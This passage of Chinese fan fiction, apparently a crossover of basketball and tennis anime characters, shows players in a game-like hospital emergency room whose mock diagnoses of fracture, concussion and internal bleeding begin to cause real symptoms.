急诊科有两名医生,这会有四名病人。两名医生正在给迹部和一名不认识的玩家做检查,青峰则是在排队。
忍足继续说:“我们来的时候,已经有两个病人了,他们的检查没有问题,医生让他们离开,现在不清楚他们去哪个科室了。我的检查是右手可能骨折了,要去拍片。”
话音刚落,就听到一名医生对迹部景吾说,“你这情况可能是脑震荡,先去拍个颅脑CT。”
并没觉得自己脑震荡的迹部道谢,起身站在一边。
“我们要在急诊科试试,”看出他的意图,赤司说,“你们先去检查。”
“行。”
迹部也没推辞,没等青峰的检查结果,和忍足朝门口走去,还未踏出科室大门,听到医生慌乱的声音。
“已经内出血了,必须马上手术!”
“快去联系其他科室!”
迹部和忍足赶紧停下脚步。
黑子几人也已经围过去,不过被护士大力推开了。
其他医生护士们的速度很快,已经把一脸懵的青峰抬到转运床。
转运床发出“轱辘轱辘”的声音。哪怕手术室就在一楼,这么大动静,也让分布在不同楼层玩家们听到。
“青峰君。”
黑子担心的跟到手术室外。
“别担心,这只是一种设定,”赤司说,“大辉并没有……”
“呃……”
原本一脸懵的青峰忽的发出低吟声,哪怕肤色很黑,也能看出他这会脸色很不好,满脸冷汗,嘴唇发紫。
跟过来的迹部和忍足也做出反应,前者扶住脑袋,身体摇晃了下,后者吸着凉气托住自己的左手。
“不是说说而已?”新手忍足也懵了。
与此同时,大厅里有一名玩家倒下,一边咳嗽一边呕吐,呕吐物里带着血丝。